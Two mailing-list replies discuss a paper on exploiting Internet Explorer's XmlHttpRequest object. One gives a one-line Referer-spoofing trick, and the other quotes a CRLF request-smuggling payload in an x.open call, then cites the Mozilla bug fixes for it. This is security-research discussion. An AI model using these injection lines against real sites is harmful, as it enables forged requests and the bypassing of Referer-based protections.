Re: "Exploiting the XmlHttpRequest object in IE" - paper by Amit

[anonymous@anonymous.com]

Another way to spoof a Referer header using XMLHTTP is to do something like this:
xmlhttp.SetRequestHeader("Referer:", "http://some.referer.com");

Note that the ':' after the Referer does the trick here. If this is not present IE ignores this header.
Thanks!

[Yutaka OIWA]

Hello Amit,

"Amit Klein (AKsecurity)" <aksecurity@hotpop.com> writes:

> x.open("GET\thttp://www.target.site/page.cgi?parameters\tHTTP
> /1.0\r\nHost:\twww.target.site\r\nReferer:\thttp://www.target
> .site/somepath?somequery\r\n\r\nGET\thttp://nosuchhost/\tHTTP
> /1.0\r\nFoobar:","http://www.attacker.site/",false);

This kind of bugs are already fixed in recent Mozilla browsers,
as shown in your reference [4].

> [4] "setRequestHeader can be exploited using newline characters",
> Bugzilla bug 297078
> https://bugzilla.mozilla.org/show_bug.cgi?id=297078 and
> "XMLHttpRequest allows dangerous request headers to be set",
> Bugzilla bug 302263
> https://bugzilla.mozilla.org/show_bug.cgi?id=302263

see comment #15 of bug 297078.

https://bugzilla.mozilla.org/show_bug.cgi?id=297078#c15

--
Yutaka OIWA Research Center for Information Security
National Institute of Advanced Industrial Science and Technology (AIST)
Mail addresses: <y.oiwa@aist.go.jp>, <yutaka@oiwa.jp>
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